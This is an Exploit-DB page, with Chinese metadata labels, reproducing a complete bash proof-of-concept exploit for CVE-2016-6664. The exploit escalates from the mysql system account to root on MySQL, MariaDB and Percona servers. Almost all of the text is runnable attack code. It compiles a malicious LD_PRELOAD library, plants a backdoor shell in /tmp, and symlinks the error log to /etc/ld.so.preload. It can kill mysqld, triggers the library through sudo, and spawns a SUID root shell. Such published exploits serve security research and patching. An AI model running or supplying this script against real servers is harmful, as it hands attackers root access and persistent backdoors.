MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x – ‘root’ System User Privilege Escalation

  • 作者: Dawid Golunski
    日期: 2016-11-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40679/
  • #!/bin/bash -p
    #
    # Source: https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html // http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
    #
    # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
    # mysql-chowned.sh (ver. 1.0)
    #
    # CVE-2016-6664 / OCVE-2016-5617
    #
    # Discovered and coded by:
    #
    # Dawid Golunski
    # dawid[at]legalhackers.com
    #
    # https://legalhackers.com
    #
    # Follow https://twitter.com/dawid_golunski for updates on this advisory.
    #
    # This PoC exploit allows attackers to (instantly) escalate their privileges
    # from mysql system account to root through unsafe error log handling.
    # The exploit requires that file-based logging has been configured (default).
    # To confirm that syslog logging has not been enabled instead use:
    # grep -r syslog /etc/mysql
    # which should return no results.
    #
    # This exploit can be chained with the following vulnerability:
    # CVE-2016-6663 / OCVE-2016-5616
    # which allows attackers to gain access to mysql system account (mysql shell).
    #
    # In case database server has been configured with syslog you may also use:
    # CVE-2016-6662 as an alternative to this exploit.
    #
    # Usage:
    # ./mysql-chowned.sh path_to_error.log 
    #
    #
    # See the full advisory for details at:
    # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
    #
    # Video PoC:
    # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
    #
    #
    # Disclaimer:
    # For testing purposes only. Do no harm.
    #
    
    BACKDOORSH="/bin/bash"
    BACKDOORPATH="/tmp/mysqlrootsh"
    PRIVESCLIB="/tmp/privesclib.so"
    PRIVESCSRC="/tmp/privesclib.c"
    SUIDBIN="/usr/bin/sudo"
    
    function cleanexit {
    	# Cleanup 
    	echo -e "\n[+] Cleaning up..."
    	rm -f $PRIVESCSRC
    	rm -f $PRIVESCLIB
    	rm -f $ERRORLOG
    	touch $ERRORLOG
    	if [ -f /etc/ld.so.preload ]; then
    		echo -n > /etc/ld.so.preload
    	fi
    	echo -e "\n[+] Job done. Exiting with code $1 \n"
    	exit $1
    }
    
    function ctrl_c() {
    echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    	cleanexit 0
    }
    
    #intro 
    echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"
    echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
    
    # Args
    if [ $# -lt 1 ]; then
    	echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    	echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    	exit 3
    fi
    
    # Priv check
    
    echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
    id | grep -q mysql 
    if [ $? -ne 0 ]; then
    	echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
    	exit 3
    fi
    
    # Set target paths
    ERRORLOG="$1"
    if [ ! -f $ERRORLOG ]; then
    	echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"
    	exit 3
    fi
    echo -e "\n[+] Target MySQL log file set to $ERRORLOG"
    
    # [ Active exploitation ]
    
    trap ctrl_c INT
    # Compile privesc preload library
    echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
    cat <<_solibeof_>$PRIVESCSRC
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <dlfcn.h>
     #include <sys/types.h>
     #include <sys/stat.h>
     #include <fcntl.h>
    
    uid_t geteuid(void) {
    	static uid_t(*old_geteuid)();
    	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    	if ( old_geteuid() == 0 ) {
    		chown("$BACKDOORPATH", 0, 0);
    		chmod("$BACKDOORPATH", 04777);
    		//unlink("/etc/ld.so.preload");
    	}
    	return old_geteuid();
    }
    _solibeof_
    /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
    if [ $? -ne 0 ]; then
    	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    	cleanexit 2;
    fi
    
    
    # Prepare backdoor shell
    cp $BACKDOORSH $BACKDOORPATH
    echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
    
    # Safety check
    if [ -f /etc/ld.so.preload ]; then
    	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    	exit 2
    fi
    
    # Symlink the log file to /etc
    rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
    if [ $? -ne 0 ]; then
    	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    	cleanexit 3
    fi
    echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"
    
    # Wait for MySQL to re-open the logs
    echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
    read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
    if [ "$THE_ANSWER" = "y" ]; then
    	echo -e "Got it. Executing 'killall mysqld' now..."
    	killall mysqld
    fi
    while :; do 
    	sleep 0.1
    	if [ -f /etc/ld.so.preload ]; then
    		echo $PRIVESCLIB > /etc/ld.so.preload
    		rm -f $ERRORLOG
    		break;
    	fi
    done
    
    # /etc/	dir should be owned by mysql user at this point
    # Inject the privesc.so shared library to escalate privileges
    echo $PRIVESCLIB > /etc/ld.so.preload
    echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
    echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
    echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
    chmod 755 /etc/ld.so.preload
    
    # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
    echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
    sudo 2>/dev/null >/dev/null
    
    #while :; do 
    #	sleep 0.1
    #	ps aux | grep mysqld | grep -q 'log-error'
    #	if [ $? -eq 0 ]; then
    #		break;
    #	fi
    #done
    
    # Check for the rootshell
    ls -l $BACKDOORPATH
    ls -l $BACKDOORPATH | grep rws | grep -q root
    if [ $? -eq 0 ]; then 
    	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    	echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
    else
    	echo -e "\n[!] Failed to get root"
    	cleanexit 2
    fi
    
    
    # Execute the rootshell
    echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
    $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
    $BACKDOORPATH -p
    
    # Job done.
    cleanexit 0